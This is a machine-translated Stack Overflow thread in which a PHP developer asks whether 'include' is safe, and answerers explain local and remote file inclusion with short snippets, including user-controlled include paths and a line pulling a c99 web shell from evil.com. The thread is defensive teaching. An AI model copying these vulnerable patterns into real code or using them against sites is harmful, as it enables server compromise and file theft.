2012-04-13 112 views
7

我使用“include”函数(e.x.“include'header2.php'”或“include'class.users.php'”) 在我的网站中添加标题或会话类。我真的不记得在哪里,但我听说黑客滥用,不知何故,这种“包括”的东西,发送假包含页面或类似的东西。 所以基本上我想知道那个“包含”功能是什么,我如何保护它,他们如何滥用它,以及是否有更好的解决方案来满足我的需求。PHP - “包含”功能是否安全?

在此先感谢。

+0

如果某人有权访问您的PHP代码,则它们位于您的服务器中。保护已经受损的东西毫无意义。相反,请注意通过修复所有应用程序的SQL注入漏洞来关闭入口点。 – Blender 2012-04-13 21:10:41

+0

关键是,我听说'包含'something.php''是不安全的或可破解的,以及SQL注入。这是真的吗? – user1327735 2012-04-13 21:12:20

+0

如果使用不当,任何事情都可以利用。只要你包含静态的PHP文件,你真的没有什么可担心的。 – Blender 2012-04-13 22:41:31

回答

13

这一切都取决于你如何实现它。如果你专门设置路径,那么它是安全的。如果允许用户输入确定文件路径而不进行清理或检查,则可能发生攻击。

不安全(目录遍历)

<?php 
include($_GET['file']); 
?> 

不安全URL fopen - 如果启用)

<?php 
include('http://evil.com/c99shell.php'); 
?> 

不安全

<?php 
include('./some_dir/' . $_GET['file']); 
?> 

部分不安全(* .php文件是脆弱的)

<?php 
include('./some_dir/' . $_GET['file'] . '.php'); 
?> 

安全(虽然不知道为什么会有人这样做。)

<?php 
$allowed = array(
    'somefile.php', 
    'someotherfile.php' 
); 

if (in_array(basename($_GET['file']), $allowed)) { 
    include('./includes/' . basename($_GET['file'])); 
} 
?> 

安全

<?php 
include('./includes/somefile.php'); 
?> 
+0

是[this](http://stackoverflow.com/a/599694/2302051)是否安全? – MahdiY 2017-03-31 07:38:59

1

包括是安全的只要你不:

  1. 包括像www.someoneelsesssite.com/something.php
  2. 远程文件包括来自从客户端来了一个路径的文件。 www.mysite.com/bad.php?path=oops/here/is/your/passwords/file
  3. 包含来自另一个可能受污染源(如数据库)的文件。

2和3技术上有需要提醒的是,如果你不允许./或Windows \你可能罚款。但是,如果你不知道为什么,你不知道有多少风险。即使你认为数据库是只读的或其他安全的数据库,明智的做法是不要假设,除非你真的必须这样做,而这几乎是永远不会的。

正如pp19dd的回答指出的那样。使用.php扩展名命名包含也很重要。如果你设置了apache(或者你正在使用的任何web服务器)来将另一个文件类型解析为PHP,那也是安全的。但是,如果您不确定,请专门使用.php。

include($_GET["page"]); 

,然后调用URL:

+0

'open_basedir'创造奇迹。 – Halcyon 2012-04-13 21:13:33

+0

@FritsvanCampen同意了,但作为一般规则,我试图从这样的角度回答这些问题:任何需要提问的人都不准备冒任何风险。如果你的代码的任何部分是'魔术',你不应该冒险。 (通过魔法,我的意思是它的工作原理基于你不明白的机制) – DampeS8N 2012-04-13 21:18:14

2

包括可以,如果你做这样的事情会被滥用

myscript.php?page=index.php

攻击者然后可以替代index.phphxxp://hackerz.ru/install_stuff.php和你的服务器会很乐意运行它。

include本身是完全安全的。只要确保始终验证/逃避您的输入。

1

要做的最好的事情是确保您尝试包含的页面首先存在。如果包含页面是从某种用户输入(例如URL变量)处理的,则会出现真正的安全漏洞。 ?include=page.php只要你对这些都很谨慎,你应该没问题。

if(is_file($file)) { 
    //other code, such as user verification and such should also go here 
    include $file; 
} 
else { die(); } 
+0

这不会保护你免受任何伤害。你的密码文件是一个文件,php.ini是一个文件,攻击者会发现所有的东西都是文件。 – DampeS8N 2012-04-13 21:20:35

+0

@ DampeS8N:我并不是想暗示这是唯一要做的事情,只是它是这个过程中的一个步骤。我还包括了关于插入其他代码,“用户验证等”的评论。用户验证有助于确保没有访问“成员”敏感页面。其他代码可能是一个文件黑名单。我不知道当你的答案同样模糊时,你为什么低估了我的答案。 – mseancole 2012-04-13 21:31:12

+0

不知道如何防范目录遍历攻击的人不应该在任何条件下动态地包含文件。你的回答表明你能做的'最好'的事情是确保文件存在。相关的安全信息不是模糊的,它不存在。我并没有低估你伤害你的能力,如果你添加了所需的信息,我将不会退缩。并删除我的答案downvote或留下你认为是模糊的评论。 – DampeS8N 2012-04-13 21:34:46

3

与包括最大的问题很可能是由PHP改变文件扩展名的东西,不通过网络服务器得到自动执行。例如library.inc或config.inc。用Web浏览器调用这些文件将显示代码而不是执行它 - 并且将显示任何密码或可利用的提示。

比较config.php可能在其中有一个密码config.inc。在大多数情况下,拉起config.inc将显示数据库密码是什么。

有些程序员对库使用.inc扩展名。前提是它们不在Web服务器可访问的目录中。然而,安全偏执的程序员可能会将该文件转储到一个方便的Web目录中。

否则,请确保您不包含以某种方式查询字符串提交的文件。例如:include($_GET['menu_file']) < - 这是非常错误的。

+0

+1关于可作为代码包含的文件扩展名的注意事项,但在浏览器中单独加载时会暴露您的代码。 – DampeS8N 2012-04-13 21:21:54

+0

“通过Web浏览器调用这些文件”是什么意思?假设你有一个公共名称为“example.com”的服务器。 (1)如果有人知道根目录中有一个名为“a.inc”的文件,他们可以用“http:// example.com/a.inc'”来查看它吗? (2)如果他们不知道在给定目录中存在什么.inc文件,他们将如何发现? – Alan 2014-03-27 20:26:36

2

任何服务器端(假设你的服务器没有受到威胁)是安全的。这样做:

$var = $_GET['var']';  
include $var . ".php"; 

是不安全的。

include "page.php"; 

是安全的。

+0

注意:假设'page.php'是安全的。 ;) – 2012-04-13 21:15:26

+0

当然,只要引用的文件是可信和安全的。 – Blake 2012-04-13 21:17:03

-1

我正在使用这种方法OD。

<?php include (dirname(__FILE__).'/file.php'); 
+0

我希望这对你有用,但为了更好的答案,你可以**解释**为什么这个作品 – jean 2015-07-02 18:14:35